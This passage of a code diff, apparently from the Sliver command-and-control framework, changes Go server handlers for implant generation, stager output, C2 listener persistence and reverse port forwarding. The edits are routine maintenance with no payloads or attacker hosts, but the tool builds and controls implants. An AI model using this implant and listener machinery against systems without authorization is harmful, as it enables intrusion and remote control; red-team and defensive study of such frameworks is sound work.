|
||||
}
|
||||
if task.State == models.PENDING {
|
||||
task.State = models.CANCELED
|
||||
err = db.Session().Save(task).Error
|
||||
err = db.Session().Model(&models.BeaconTask{}).
|
||||
Where("id=?", task.ID).
|
||||
Updates(map[string]interface{}{"state": models.CANCELED}).
|
||||
Error
|
||||
if err != nil {
|
||||
beaconRpcLog.Errorf("Database error: %s", err)
|
||||
return nil, ErrDatabaseFailure
|
||||
|
||||
@@ -62,15 +62,6 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
|
||||
if req.Overwrite && req.C2Config.Name == "" {
|
||||
return nil, configs.ErrMissingC2ProfileName
|
||||
}
|
||||
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
|
||||
if err != nil {
|
||||
|
||||
@@ -91,6 +91,10 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
}
|
||||
|
||||
if len(config.Exports) == 0 {
|
||||
config.Exports = []string{"StartW"}
|
||||
}
|
||||
|
||||
// generate config
|
||||
build, err := generate.GenerateConfig(name, config)
|
||||
if err != nil {
|
||||
@@ -154,6 +158,11 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
|
||||
}
|
||||
|
||||
config, err := db.ImplantConfigByID(build.ImplantConfigID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fileData, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -161,7 +170,7 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
|
||||
|
||||
return &clientpb.Generate{
|
||||
File: &commonpb.File{
|
||||
Name: build.Name,
|
||||
Name: build.Name + config.Extension,
|
||||
Data: fileData,
|
||||
},
|
||||
}, nil
|
||||
@@ -384,6 +393,7 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
|
||||
rcpGenLog.Errorf("Failed to write implant binary to temp file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
|
||||
}
|
||||
|
||||
rpcLog.Infof("Saving external build '%s' from %s", req.Name, tmpFile.Name())
|
||||
err = generate.ImplantBuildSave(implantBuild, implantConfig, tmpFile.Name())
|
||||
if err != nil {
|
||||
@@ -741,10 +751,11 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
|
||||
if req.PrependSize {
|
||||
fileData = prependPayloadSize(fileData)
|
||||
}
|
||||
stage2 = fileData
|
||||
|
||||
if req.Compress != "" {
|
||||
stageType = req.Compress + " - "
|
||||
stage2, err = Compress(fileData, req.Compress)
|
||||
stage2, err = Compress(stage2, req.Compress)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -129,7 +129,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
|
||||
Type: constants.MtlsStr,
|
||||
MTLSConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -180,7 +180,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
|
||||
Type: constants.WGStr,
|
||||
WGConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -205,7 +205,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
|
||||
Type: constants.DnsStr,
|
||||
DNSConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -237,7 +237,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
|
||||
Type: constants.HttpsStr,
|
||||
HTTPConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -269,7 +269,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
|
||||
Type: constants.HttpStr,
|
||||
HTTPConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core/rtunnels"
|
||||
)
|
||||
|
||||
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
|
||||
@@ -38,6 +39,7 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,8 +22,10 @@ import (
|
||||
"context"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
)
|
||||
|
||||
// StartTCPStagerListener starts a TCP stager listener
|
||||
@@ -36,6 +38,17 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
listenerJob := &clientpb.ListenerJob{
|
||||
JobID: uint32(job.ID),
|
||||
Type: constants.StageListenerStr,
|
||||
TCPConf: req,
|
||||
}
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user